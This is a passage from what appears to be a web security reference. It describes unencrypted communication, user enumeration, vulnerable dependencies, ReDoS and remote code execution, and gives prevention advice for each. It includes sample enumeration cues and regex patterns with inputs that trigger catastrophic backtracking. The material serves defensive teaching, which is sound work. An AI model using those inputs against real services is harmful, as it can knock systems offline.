Implement SPF with a hard fail (-all), configure DKIM signing, enforce DMARC with reject policy, monitor DMARC reports regularly, and use MTA-STS to enforce TLS for email delivery.

Unencrypted Communication

High Other

Unencrypted Communication occurs when sensitive data is transmitted over plaintext protocols (HTTP, FTP, SMTP) without TLS/SSL encryption. This allows network-level attackers to eavesdrop, modify, or inject data through man-in-the-middle (MITM) attacks.

Attack Vectors

  • Network sniffing on public WiFi or compromised networks
  • ARP spoofing on local networks
  • DNS spoofing redirecting to attacker-controlled servers
  • Certificate impersonation or SSL stripping
Prevention

Enforce TLS 1.2+ everywhere, implement HSTS with max-age and includeSubDomains, use HSTS preload lists, redirect all HTTP to HTTPS, enable OCSP stapling, and use certificate pinning for sensitive applications.

User Enumeration

Medium Other

User Enumeration is the process of discovering valid usernames or account identifiers through different responses, error messages, timing differences, or behavioral changes in the application. This information aids brute-force and credential stuffing attacks.

Enumeration Vectors

http - enumeration indicators
# Login error messages reveal valid users
"User not found"     → username doesn't exist
"Invalid password"   → username exists (enumerated!)

# Registration form
"Username already taken" → username exists

# Password reset
"If account exists, email sent" (good - generic)
"Email not found" → email doesn't exist (bad - enumerable)

# Timing differences
Invalid user: 50ms response
Valid user: 200ms response (bcrypt hash comparison)
Prevention

Use generic error messages ("Invalid username or password"), implement consistent response times, use generic account recovery messages, add rate limiting on authentication endpoints, and monitor for enumeration patterns.

Toxic Dependencies (Vulnerable Components)

High OWASP Top 10 Other

Toxic Dependencies refers to using software libraries, frameworks, or components with known vulnerabilities. This is the #6 risk in the OWASP Top 10 (2021). Modern applications use hundreds of dependencies, and a single vulnerable library can compromise the entire application.

Risk Factors

  • Using outdated libraries with known CVEs
  • Using end-of-life (EOL) frameworks no longer receiving patches
  • Unnecessary dependencies expanding the attack surface
  • Transitive (indirect) dependencies with vulnerabilities
  • Lack of vulnerability monitoring or patching processes
bash - dependency scanning tools
# npm audit (JavaScript)
npm audit
npm audit fix

# Safety (Python)
pip install safety
safety check

# OWASP Dependency-Check
dependency-check --project "MyApp" --scan ./src

# Snyk (multi-language)
snyk test
snyk monitor

# GitHub Dependabot - automatic PR for vulnerable dependencies
Prevention

Maintain a software bill of materials (SBOM), use dependency scanning in CI/CD (Snyk, Dependabot, OWASP Dependency-Check), keep dependencies updated, remove unused dependencies, only obtain components from official repositories, and monitor CVE databases.

Regex Injection (ReDoS)

Medium Other

ReDoS (Regular Expression Denial of Service) occurs when a crafted input causes a regex engine to exhibit catastrophic backtracking, consuming excessive CPU and memory. This can make the application unresponsive and effectively create a denial of service condition.

Vulnerable Regex Patterns

text - vulnerable patterns
# Catastrophic backtracking patterns
(a+)+$     → input: "aaaaaaaaaaaaaaaaaaab"
(a|b?)+$   → input: "aaaaaaaaaaaaaaaaaaa"
(a*b?)+$   → input: "aaaaaaaaaaaaaaaaaaaaaaaa"

# The nested quantifiers create exponential backtracking
# A 30-character input can cause millions of comparisons
Prevention

Avoid user-controlled regex patterns, use atomic groups or possessive quantifiers where supported, implement regex timeout limits, test regex patterns against adversarial inputs, and use static analysis tools to detect vulnerable patterns.

Remote Code Execution (RCE)

Critical Other

Remote Code Execution is the ability for an attacker to execute arbitrary code on the target server. RCE is often the result of other vulnerabilities (command injection, SSTI, deserialization, file upload) and represents the most severe impact an attacker can achieve. RCE can lead to full system compromise, data exfiltration, and ransomware deployment.

Common RCE Vectors

  • Command injection - OS commands via unsanitized input
  • Template injection - Server-side template engine exploitation
  • Insecure deserialization - Object injection leading to code execution
  • File upload - Web shells and executable files
  • Code evaluation - eval(), exec() with user input
  • Log4Shell (CVE-2021-44228) - JNDI injection in Log4j
Severity: Critical

RCE is the most severe vulnerability class. It allows complete server compromise including data theft, ransomware deployment, supply chain attacks, and lateral movement. Prevent all input-based code execution vectors.

Prevention

Sandbox untrusted code, validate and sanitize all input, avoid eval() and similar dynamic code execution functions, use WAF rules to block common RCE patterns, keep all dependencies updated (especially Log4j, Jackson, etc.), and implement the principle of least privilege.